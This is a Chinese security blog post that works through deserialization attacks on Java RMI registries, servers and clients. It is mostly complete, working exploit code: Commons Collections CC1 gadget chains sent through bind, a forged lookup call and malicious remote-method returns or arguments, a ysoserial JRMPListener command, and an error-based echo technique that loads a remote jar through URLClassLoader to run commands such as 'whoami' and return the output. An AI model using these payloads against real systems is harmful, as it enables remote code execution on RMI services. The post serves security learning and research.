前言
前一个专题,我们对RMI的基础和通信原理进行了简单的分析,这一期对攻击方法进行一个总结
参考:Java反序列化之RMI专题02-RMI的几种攻击方式 | Drunkbaby’s Blog
RMI攻击方式 | CurlySean’s Blog
RMI的基本攻击方式
- RMI Client 打 RMI Registry
- RMI Client 打 RMI Server
- RMI Client
攻击RMI registry
只能够通过客户端打registry.
根据上篇文章的分析,我们要去找一下反序列的点位在哪里
我们在使用一下语句时,会调用了lookup
1
| IRemoteOBJ remoteOBJ = (IRemoteOBJ) registry.lookup("rmiserver");
|
而这个lookup这里对应着注册中心(特殊的服务端的skel),这时就会调用到

case2,这都是我们之前分析过的,所以不同的方法对应着不同的case
0->bind
1->list
2->lookup
3->rebind
4->unbind
那么,我们就可以通过这里不同的方法去调用到不同的case里的readObject方法
使用list方法交互

list这里无反序列化的点,就不浪费时间了.
使用bind或rebind进行交互
先看源码


都是可以进行反序列化的
这里进行反序列化的是远程对象和传来的字符串(name),所以如果是存在cc的依赖的话,我们在这里就可以打一个cc链的漏洞,来进行命令执行
依赖
1 2 3 4 5 6 7
| <dependencies> <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency></dependencies>
|
远程对象在两者间传递的时候,传递的是一个Proxy的动态代理对象,而在使用bind的方法时需要的是remote类型的对象,所以我们需要一个能实现remote接口的动态代理类
这时我们可以使用
这个newProxyInstance方法创建代理类,需要InvocationHandler示例,所以我们需要将恶意类转为InvocationHandler类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| @CallerSensitive public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) throws IllegalArgumentException { ...... try { if (sm != null) { checkNewProxyPermission(Reflection.getCallerClass(), cl); } final Constructor<?> cons = cl.getConstructor(constructorParams); final InvocationHandler ih = h; if (!Modifier.isPublic(cl.getModifiers())) { AccessController.doPrivileged(new PrivilegedAction<Void>() { public Void run() { cons.setAccessible(true); return null; } }); } return cons.newInstance(new Object[]{h}); } ...... }
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| import javafx.scene.transform.Transform; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import sun.util.resources.cldr.st.CalendarData_st_LS; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; import static java.lang.reflect.Proxy.newProxyInstance; public class RemoteBind { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); InvocationHandler invocationHandler = (InvocationHandler) CC1(); Remote remote = Remote.class.cast(newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler)); registry.bind("rmiserver",remote); } public static Object CC1() throws Exception { Class c = Runtime.class; // Method invokerTransformer = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(c); // Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(invokerTransformer); // new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r); Transformer[] t = new Transformer[]{ new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedtransformer = new ChainedTransformer(t); HashMap<Object,Object> map = new HashMap<>(); map.put("value","value"); Map<Object,Object> decorate = TransformedMap.decorate(map, null, chainedtransformer); Class cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Target.class,decorate); return o; // Method m = c.getDeclaredMethod("getRuntime",null); // m.setAccessible(true); // Runtime o = (Runtime) m.invoke(null,null); // o.exec("calc"); } }
|
``
Remote remote = Remote.class.cast(newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler)); //这行代码的核心作用是利用 Java 反射机制创建一个动态代理对象,并将其强制转换为 Remote 接口类型
使用rebind的话改一下方法就可以了

使用unbind和uplook进行交互


实际上这两者的攻击思路和bind/rebind是相类似的,但是lookup这里只能传入String字符串,我们可以通过伪造lookup连接请求,使其可以传入对象
也就是进行一个可以传入对象的lookup请求
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import sun.rmi.server.UnicastRef; import java.io.ObjectOutput; import java.lang.annotation.Target; import java.lang.reflect.*; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.RemoteCall; import java.rmi.server.RemoteObject; import java.util.HashMap; import java.util.Map; public class RemoteBind { public static void main(String[] args) throws Exception { // 1. 获取 Registry Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); // 2. 生成恶意 Payload (CC1 链包装在 InvocationHandler 中) InvocationHandler invocationHandler = (InvocationHandler) CC1(); // 3. 将 Payload 包装成 Remote 代理对象 // 因为 bind 方法要求第二个参数必须是 Remote 类型 Remote remotePayload = (Remote) Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler ); // 4. 获取 registry 代理中的 UnicastRef 对象 // 动态代理的 Handler 是 RemoteObjectInvocationHandler,它的父类 RemoteObject 中有 ref 字段 Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0].setAccessible(true); UnicastRef ref = (UnicastRef) fields_0[0].get(registry); // 5. 伪造 RMI 请求 (利用 lookup 方法) // newCall(RemoteObject obj, Operation[] operations, int opnum, long interfaceHash) // 0: bind, 1: list, 2: lookup, 3: rebind, 4: unbind // 传入 null 作为 operations,因为我们直接指定了 opnum 和 hash RemoteCall var2 = ref.newCall((RemoteObject) registry, null, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); // bind(String name, Remote obj) //lookup(Remote obj) // 必须按照服务端参数顺序写入:先写名字,再写恶意对象 var3.writeObject(remotePayload); // 6. 发送请求 // 这一步会触发服务端的反序列化 try { ref.invoke(var2); } catch (Exception e) { // 服务端反序列化成功后通常会抛出异常,因为本地的逻辑并不完整,但这代表攻击已经发送 System.out.println("Payload sent. Check the server."); // e.printStackTrace(); } } public static Object CC1() throws Exception { // 标准 CC1 TransformedMap 链 Transformer[] t = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedtransformer = new ChainedTransformer(t); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); // Key 必须是 "value",因为 Target 注解中有 value() 方法 Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedtransformer); // 获取 AnnotationInvocationHandler 的构造器 Class<?> cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); // 实例化 Handler Object o = declaredConstructor.newInstance(Target.class, decorate); return o; } }
|

攻击客户端
注册中心攻击客户端
那么还是离不开刚刚分析的那几个方法
- bind
- unbind
- rebind
- list
- lookup
在这其中unbind和rebind都会返回数据给客户端,返回的形式是序列化的形式,那么客户端就只能使用反序列化来获取,如果我们能控制返回的数据这样就可以进行攻击了.这里使用的是ysoserial的JRMPListener,命令如下:
java -cp .\ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 calc
不用加单引号

服务端攻击客户端
服务端攻击客户端可以利用的点分为两种:
- 服务端返回对象
- 远程加载对象
服务端返回对象
在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。这里以CC1为例:
User接口:
1 2 3 4 5
| import java.rmi.Remote; public interface User extends Remote { public Object getUser() throws Exception; }
|
接口实现类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; import java.util.HashMap; import java.util.Map; public class RemoteOBJ extends UnicastRemoteObject implements User{ public RemoteOBJ() throws RemoteException { //UnicastRemoteObject.exportObject(this,0);如果不继承UnicastRemoteObject就需要手动导出 } public Object getUser() throws RemoteException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { Transformer[] t = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedtransformer = new ChainedTransformer(t); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); // Key 必须是 "value",因为 Target 注解中有 value() 方法 Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedtransformer); // 获取 AnnotationInvocationHandler 的构造器 Class<?> cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); // 实例化 Handler Object o = declaredConstructor.newInstance(Target.class, decorate); return o; } }
|
绑定到服务端
1 2 3 4 5 6 7 8 9 10 11 12 13
| import java.rmi.NotBoundException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIclient { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); User rmiserver = (User)registry.lookup("rmiserver"); rmiserver.getUser(); } }
|
客户端的调用
1 2 3 4 5 6 7 8 9 10 11 12 13
| import java.rmi.NotBoundException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIclient { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); User rmiserver = (User)registry.lookup("rmiserver"); rmiserver.getUser(); } }
|

加载远程对象
大家可以找p神的文章看一下,具体实现的条件有点苛刻,我就没细看
攻击服务端
客户端打服务端
服务端实现类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; import java.util.HashMap; import java.util.Map; public class RemoteOBJ extends UnicastRemoteObject implements User{ public RemoteOBJ() throws RemoteException { //UnicastRemoteObject.exportObject(this,0);如果不继承UnicastRemoteObject就需要手动导出 } public void getUser(Object o) throws RemoteException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { System.out.println("getUser"); } }
|
客户端的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.rmi.NotBoundException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class RMIclient { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); User rmiserver = (User)registry.lookup("rmiserver"); rmiserver.getUser(payload()); } public static Object payload() throws Exception { Transformer[] t = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedtransformer = new ChainedTransformer(t); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); // Key 必须是 "value",因为 Target 注解中有 value() 方法 Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedtransformer); // 获取 AnnotationInvocationHandler 的构造器 Class<?> cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); // 实例化 Handler Object o = declaredConstructor.newInstance(Target.class, decorate); return o; } }
|
记得改接口,就是利用传的参数是一个恶意类

加载远程对象
和上述一样.Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)
RMI的进阶攻击方式
攻击注册中心时,注册中心遇到异常会直接把异常发回来,返回给客户端。这里我们利用URLClassLoader加载远程jar,传入服务端,反序列化后调用其方法,在方法内抛出错误,错误会传回客户端,这样也就得到了命令执行的回显
远程demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import java.io.BufferedReader; import java.io.InputStreamReader; public class ErrorBaseExec { public static void do_exec(String args) throws Exception { Process proc = Runtime.getRuntime().exec(args); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } String result = sb.toString(); Exception e=new Exception(result); throw e; } }
|
制作jar包的命令
1 2
| javac ErrorBaseExec.java jar -cvf RMIexploit.jar ErrorBaseExec.class
|
客户端的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.net.URLClassLoader; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class Client { public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; ctor.setAccessible(true); return ctor; } public static void main(String[] args) throws Exception { String ip = "127.0.0.1"; //注册中心ip int port = 1099; //注册中心端口 String remotejar = 远程jar; String command = "whoami"; final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; try { final Transformer[] transformers = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class), new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }), new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(remotejar) } } }), new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "ErrorBaseExec" }), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "do_exec", new Class[] { String.class } }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new String[] { command } }) }; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); Class cl = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, outerMap); Registry registry = LocateRegistry.getRegistry(ip, port); InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS) .newInstance(Target.class, outerMap); Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, h)); registry.bind("liming", r); } catch (Exception e) { try { System.out.print(e.getCause().getCause().getCause().getMessage()); } catch (Exception ee) { throw e; } } } }
|
编译的java环境要一样哈

最后
RMI就到此结束了